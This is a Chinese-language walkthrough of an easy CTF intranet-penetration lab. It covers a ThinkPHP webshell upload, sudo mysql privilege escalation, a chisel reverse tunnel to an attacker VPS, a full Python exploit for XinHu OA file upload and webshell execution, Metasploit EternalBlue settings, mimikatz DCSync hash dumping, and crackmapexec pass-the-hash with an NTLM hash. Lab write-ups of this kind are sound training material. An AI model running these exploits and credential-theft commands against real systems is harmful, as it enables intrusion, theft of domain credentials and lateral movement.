前言
Initial是一套难度为简单的靶场环境,完成该挑战可以帮助玩家初步认识内网渗透的简单流程。该靶场只有一个flag,各部分位于不同的机器上。
信息收集
一个登录页面,通过图标不难发现这是一个thinkphp框架开发的网站,那么就可以用工具扫一下有没有相关漏洞


发现有漏洞,直接那这个洞的payload传个后门上去即可

提权
拿到了shell,但是没有root权限,提权方法有很多,一般涉及到比较多比较容易的就是sudo和suid,但是其他提权手段有时候也挺重要的,这里顺便把两种容易的都试了一下,发现是sudo提权,普通用户可以利用mysql执行root权限的命令
find / -user root -perm -4000 -print 2>/dev/null
-perm -4000 指suid权限:文件调用者以文件拥有者身份使用
-print 打印目录

sudo -l 列出当前用户允许执行的超级用户命令,以及是否需要密码

这里有一个语法利用mysql直接执行命令
sudo mysql -e '\! 要执行的命令'
然后可以直接读取到root目录下面的flag1

内网渗透
通过ifconfig我们发现存在局域网,那么我们传一个fscan上去,扫一扫这个局域网,记得给执行权限



扫出来有三个漏洞站点
- 本站
- 信呼OA
- 永恒之蓝
信呼OA
这里需要访问到内网,需要利用vps作为跳板,将内网代理到vps,再将vps代理到本地,利用的工具是chisel
先在vps上运行,记得打开1111端口:
./chisel server -p 1111 --reverse
在受害机上也上传一个chisel,然后执行:
./chisel client vps:1111 R:0.0.0.0:9383:socks
然后修改一下浏览器的代理:

这已经是一个nday了,直接拿网上的payload打一下,在当前poc目录写一个一句话木马1.php,然后poc如下:
import requests
session = requests.session()
url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'
data1 = {
'rempass': '0',
'jmpass': 'false',
'device': '1625884034525',
'ltype': '0',
'adminuser': 'YWRtaW4=',
'adminpass': 'YWRtaW4xMjM=',
'yanzm': ''
}
r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})
filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']
print(id)
print(filepath)
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('dir');")
print(r.text)
要运行这个脚本,还需要在kali上进行代理
vim /etc/proxychains4.conf

然后直接运行脚本:
proxychains4 python3 poc.py

这个上传的文件实际上就是我们那个马,访问就行

这里需要手动改一下蚁剑的代理:



永恒之蓝
这个洞对于渗透者来说就相当于入门的1+1了,所以渗透者应该都知道,这里我们直接用msf打就行
proxychains4 msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
exploit
这里可以拿到一个正向连接的shell,看一下当前用户getuid,发现就是管理员,利用load kiwi,抓取用户的hash
load kiwi
kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit
可以抓取到管理员的哈希,扫出来的172.22.1.2开放445端口,此端口默认是smb用crackmapexec打一下就行:
proxychains4 crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
DCSync攻击
DCSync是mimikatz在2015年添加的一个功能,实际上就是一个域内的用户每隔一段时间就会进行一次数据同步,利用的这个原理,通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口模仿一个DC向另一个DC发起数据同步请求,能够用来导出域内所有用户的hash
域内用户所具有的权限其根本是源自于 DACL(Discretionary Access Control List)也就是访问权限列表,那么对于 DCSync 攻击来说,只要域用户拥有以下三条 DACL 即可向域控发出数据同步请求,从而 dump 去域内用户 hash,这三条 DACL 分别为:
复制目录更改(DS-Replication-Get-Changes)
全部复制目录更改 (DS-Replication-Get-Changes-All )
在过滤集中复制目录更改(可有可无)(DS-Replication-Get-Changes-In-Filtered-Set)
简而言之,伪造DC请求另一个DC数据。
利用条件
需要获得以下任意用户权限:
- Domain Admins组内的用户
- Administrators组内的用户
- Enterprise Admins组内的用户
- 域控制器的计算机帐户
内网横向-hash传递(PTH)
hash 传递的原理是在认证过程中,并不是直接使用用户的密码进行认证的,而是使用用户的hash值,因此,攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不需要提供明文密码。在Windows系统中,通常会使用NTLM身份认证,NTLM是口令加密后的hash值。PTH是基于smb服务(139端口和445 端口)
在无法获取明文密码的情况下,可以进行哈希横传,利用抓取的哈希通过LM或NTLM直接访问远程主机服务
Comments | NOTHING